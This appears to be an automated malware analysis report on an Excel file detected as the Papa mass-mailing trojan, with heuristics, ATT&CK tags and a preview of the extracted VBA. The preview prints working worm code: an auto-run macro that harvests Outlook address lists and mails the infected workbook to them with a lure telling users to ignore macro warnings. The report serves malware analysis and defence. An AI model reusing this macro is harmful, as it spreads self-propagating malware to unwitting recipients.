MALICIOUS
322
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is an Excel spreadsheet containing a Workbook_Open VBA macro. This macro utilizes CreateObject to interact with Outlook, likely to harvest email addresses and send further malicious content. The presence of the Shell() call and the ClamAV detection as 'Xls.Trojan.Papa-1' strongly indicate malicious intent, possibly for spamming or phishing.
Heuristics 7
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ClamAV: Xls.Trojan.Papa-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Papa-1
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VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://all.net� In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8619 bytes |
SHA-256: e57c625a8684ee510f6a0c8d2d62f5ed0e73cd7be267164330325ec1bd402f9c |
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Detection
ClamAV:
Xls.Trojan.Papa-1
Obfuscation or payload:
unlikely
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
On Error Resume Next
Application.EnableCancelKey = 0
Randomize
Set oa = CreateObject("Outlook.Application")
Set mn = oa.GetNameSpace("MAPI")
If oa = "Outlook" Then
mn.Logon "profile", "password"
For y = 1 To mn.AddressLists.Count
x = 1
Set ab = mn.AddressLists(y)
Set papaver = oa.CreateItem(0)
For z = 1 To ab.AddressEntries.Count
vi = ab.AddressEntries(x)
papaver.Recipients.Add vi
x = x + 1
If x > 60 Then z = ab.AddressEntries.Count
Next z
papaver.Subject = "Fwd: Workbook from all.net and Fred Cohen"
papaver.Body = "Urgent info inside. Disregard macro warning."
papaver.Attachments.Add ActiveWorkbook.FullName
papaver.Send
vi = ""
Next y
mn.Logoff
End If
q = Int(6 * Rnd)
... (truncated)
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